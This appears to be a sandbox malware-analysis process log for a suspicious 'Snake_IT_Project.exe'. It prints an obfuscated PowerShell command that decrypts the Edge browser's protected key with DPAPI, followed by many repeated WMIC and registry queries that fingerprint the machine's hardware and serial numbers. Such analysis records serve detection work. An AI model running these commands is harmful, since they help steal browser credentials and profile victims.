C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,57,3,227,24,171,115,2,126,199,66,180,165,98,248,252,219,132,18,73,69,143,236,35,7,44,40,230,216,74,204,227,226,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,255,12,162,209,72,208,227,115,24,25,161,135,169,104,150,34,7,88,3,126,124,88,82,3,62,163,79,139,180,10,245,66,48,0,0,0,167,186,202,149,91,63,134,229,50,154,155,156,241,221,51,103,18,81,0,115,235,205,75,45,95,249,70,20,2,172,28,131,99,97,96,161,117,20,5,205,54,178,32,27,199,52,109,54,64,0,0,0,138,43,173,160,193,79,107,46,184,10,187,58,87,204,115,82,110,232,54,158,83,85,226,67,58,27,100,31,2,136,121,247,84,201,243,182,197,120,175,158,0,83,91,220,206,173,175,70,43,117,118,36,148,123,188,125,112,71,250,242,225,201,14,113), $null, 'CurrentUser')"2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
PID:4044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,57,3,227,24,171,115,2,126,199,66,180,165,98,248,252,219,132,18,73,69,143,236,35,7,44,40,230,216,74,204,227,226,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,255,12,162,209,72,208,227,115,24,25,161,135,169,104,150,34,7,88,3,126,124,88,82,3,62,163,79,139,180,10,245,66,48,0,0,0,167,186,202,149,91,63,134,229,50,154,155,156,241,221,51,103,18,81,0,115,235,205,75,45,95,249,70,20,2,172,28,131,99,97,96,161,117,20,5,205,54,178,32,27,199,52,109,54,64,0,0,0,138,43,173,160,193,79,107,46,184,10,187,58,87,204,115,82,110,232,54,158,83,85,226,67,58,27,100,31,2,136,121,247,84,201,243,182,197,120,175,158,0,83,91,220,206,173,175,70,43,117,118,36,148,123,188,125,112,71,250,242,225,201,14,113), $null, 'CurrentUser')3⤵PID:2092
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\TrialYelpOfStart" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1892 --field-trial-handle=1908,i,7532626569115103365,2389733235242331992,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
PID:884
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name"2⤵PID:2152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get name3⤵PID:3840
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3464
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3760
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1956
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\TrialYelpOfStart" --mojo-platform-channel-handle=1300 --field-trial-handle=1908,i,7532626569115103365,2389733235242331992,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
PID:860
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get ProcessorId"2⤵PID:2596
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4160
-
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get ProcessorId3⤵PID:3080
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1724
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵
- Detects videocard installed
PID:3588
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product"2⤵PID:1776
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get Product3⤵PID:2980
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3412
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:984
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get SerialNumber"2⤵PID:2128
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get SerialNumber3⤵PID:2748
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4252
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2944
-
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4336
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption"2⤵PID:464
-
C:\Windows\System32\Wbem\WMIC.exewmic OS get caption3⤵PID:2148
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2540
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2668
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3580
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get TotalPhysicalMemory"2⤵PID:3700
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get TotalPhysicalMemory3⤵PID:1872
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:404
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4960
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2112
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_videocontroller get caption,PNPDeviceID"2⤵PID:2092
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_videocontroller get caption,PNPDeviceID3⤵PID:4692
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber"2⤵PID:3704
-
C:\Windows\System32\Wbem\WMIC.exewmic diskdrive get SerialNumber3⤵PID:4252
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5908
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:6084
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"2⤵PID:6060
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_computersystemproduct get uuid3⤵PID:4540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5516
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5568
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5596
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5744
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:984
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6044
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1716
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5596
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5176
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5796
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5832
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5744
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1516
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:688
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5204
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5824
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5224
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3540
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5808
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:6052
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4696
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5920
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4280
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5276
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5296
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1872
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:6048
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5652
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5176
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5864
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3540
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5724
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5060
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4696
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4488
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1536
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5124
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5568
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5876
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5336
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5728
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5740
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2208
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5224
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5396
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5580
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵
- Detects videocard installed
PID:5548
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5836
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5500
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:6100
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:6000
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:6040
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5604
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5988
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5876
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5488
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:6004
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5184
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3540
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:6040
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5892
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5724
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:6068
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3704
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:6072
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2460
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2640
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:6024
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5172
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2372
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5488
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5788
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:6076
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2316
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5840
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5212
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5564
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5820
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5608
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5600
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5264
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5536
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5576
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2460
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3704
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2288
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3676
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:6068
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:992
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5188
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5288
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5144
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5736
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2460
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1536
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3044
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5156
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5624
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1508
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5396
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5168
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5656
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5824
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5336
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5188
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:6064
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3524
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:5248
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2256
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5756
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5200
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:6140
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5908
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2288
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1536
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5744
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3224
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4324
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:5900
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3044
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:6108
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1716
-
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:5140
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4252
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2460
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3892
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2288
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2908
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2180
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4880
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:6128
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:5564
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3492
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5548
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"1⤵PID:1692
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3580 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1940 -parentBuildID 20240401114208 -prefsHandle 1864 -prefMapHandle 1856 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e390eb13-7a9c-48a4-8a0a-4c48248f4e12} 3580 "\\.\pipe\gecko-crash-server-pipe.3580" gpu3⤵PID:4240
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2388 -parentBuildID 20240401114208 -prefsHandle 2376 -prefMapHandle 2364 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25097bd0-1b13-4f7c-a964-f7d0e91b417a} 3580 "\\.\pipe\gecko-crash-server-pipe.3580" socket3⤵PID:1380
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2972 -childID 1 -isForBrowser -prefsHandle 3032 -prefMapHandle 3052 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 932 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {21eb6303-bb82-4e85-8392-817296a6e18c} 3580 "\\.\pipe\gecko-crash-server-pipe.3580" tab3⤵PID:3972
-
-
